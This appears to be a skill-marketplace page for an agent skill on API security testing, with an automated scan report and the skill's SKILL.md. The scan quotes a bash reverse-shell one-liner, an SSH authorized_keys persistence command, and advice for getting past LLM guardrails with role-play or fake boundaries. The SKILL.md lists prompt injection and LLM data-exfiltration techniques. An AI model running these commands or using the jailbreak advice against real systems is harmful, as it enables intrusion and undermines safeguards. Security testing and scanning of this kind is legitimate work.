skills/ transilienceai/communitytools

api-security

API security testing - GraphQL, REST API, WebSocket, and Web-LLM attack techniques.

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Security scan

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High-risk patterns found. A human should read the source before any agent installs this.

30 files scannedscanner v1.2.0Oct 11, 20261 critical1 high1 medium
  • criticalReverse shell pattern

    reference/scenarios/mcp/inspector-stdio-rce.md:48

    {"command":"bash","args":["-c","setsid bash -c 'bash -i >& /dev/tcp/<VPN_IP>/4444 0>&1' &"]}

    Opens an interactive shell to a remote host — full remote control of the machine.

  • highInstalls persistence (cron, launch agents, SSH keys, sudoers, shell rc payloads)

    reference/scenarios/mcp/inspector-stdio-rce.md:42

    "args":["-c","mkdir -p ~/.ssh; echo '<YOUR_PUBKEY>' >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"],

    Changes that survive the session and run code later or grant remote access.

  • mediumInstructions that override the agent or hide actions from the user (quoted — likely an example)

    reference/api-security-principles.md:59

    - **LLM guardrails reject "ignore previous instructions"** in plain text — use role-play, fake boundaries, or technical context wrappers.

    Skills are loaded into the agent context verbatim; these phrases try to subvert the agent's instructions or keep the user uninformed.

Not scanned (too large or unreadable): skills/api-security/reference/scenarios/rest/waf-bypass-techniques.md, skills/api-security/reference/scenarios/web-llm/insecure-output-xss.md, skills/api-security/reference/scenarios/web-llm/os-command-injection-via-llm.md, skills/api-security/reference/scenarios/web-llm/prompt-injection-direct.md, skills/api-security/reference/scenarios/web-llm/prompt-injection-indirect.md

Content sha256 1cb74ea8365df061… — run codexguild_scan_skills after installing to verify your local copy.

Static analysis is a first line of defense, not a guarantee. Read the source

SKILL.md

exact scanned copy

API Security

Test API endpoints for security vulnerabilities across REST, GraphQL, WebSocket, and LLM-integrated APIs.

Techniques

TypeKey Vectors
GraphQLIntrospection, batching attacks, nested query DoS, field suggestion
REST APIBOLA/IDOR, mass assignment, rate limiting, auth bypass, versioning
WebSocketCross-site hijacking, message manipulation, auth flaws
Web-LLMPrompt injection via API, excessive agency, data exfiltration

Workflow

  1. Discover API endpoints and documentation (Swagger, GraphQL schema)
  2. Map authentication and authorization mechanisms
  3. Test per API type using appropriate techniques
  4. Validate data exposure and access control flaws
  5. Capture evidence with HTTP request/response logs

API at scale (offline corpus / fixture-driven)

For a large or offline API surface — a 2000+ path Swagger, a Postman corpus, a HAR capture — do NOT hand-build the coverage machinery per engagement. Drive it deterministically:

  1. Ingest the corpus → per-endpoint fixtures: python3 tools/fixture_ingest.py <openapi|postman|har> -o fixtures.json normalizes every operation into a request template (method, url with path params filled, sampled body, object_ref for id-like path params, security requirement) and STRIPS baked-in auth (the harness injects tokens). This is what turns a large (thousands-of-operations) OpenAPI/Postman corpus into a resumable matrix instead of an untested pile.
  2. Acquire per-role sessions: via authenticated-session-acquisition (MFA/OTP/SRP → reusable tokens) into the harness's token store.
  3. Replay the per-role authz matrix: python3 tools/auth_replay_harness.py --requests fixtures.json --tokens tokens.json [--proxy <vantage>] replays every endpoint under every role (and cross-tenant), flags BOLA/BFLA where a role got authorized on an object/action it should not, and logs an evidence_id per (endpoint × role). Egress-route via the provisioned vantage for allowlisted APIs.
  4. Protocol-specific authz: OData (odata-deep-authz.md), Cognito (cognito-unauth-and-srp.md), authenticated WebSocket (authenticated-per-role-authz.md).

The batch is resumable (checkpoint the harness results) so flapping auth never zeroes the run — the recurring at-scale gap. Run the FULL matrix so a clean result is an evidenced negative, not an untested surface.

Reference

  • reference/graphql*.md - GraphQL attack techniques and labs
  • reference/scenarios/rest/*.md - REST API security testing (BOLA/BOPLA, mass assignment, SSPP, content-type confusion)
  • reference/websockets*.md - WebSocket vulnerability testing
  • reference/web-llm*.md - Web-LLM attack techniques and labs

Files

30
124.8 KB

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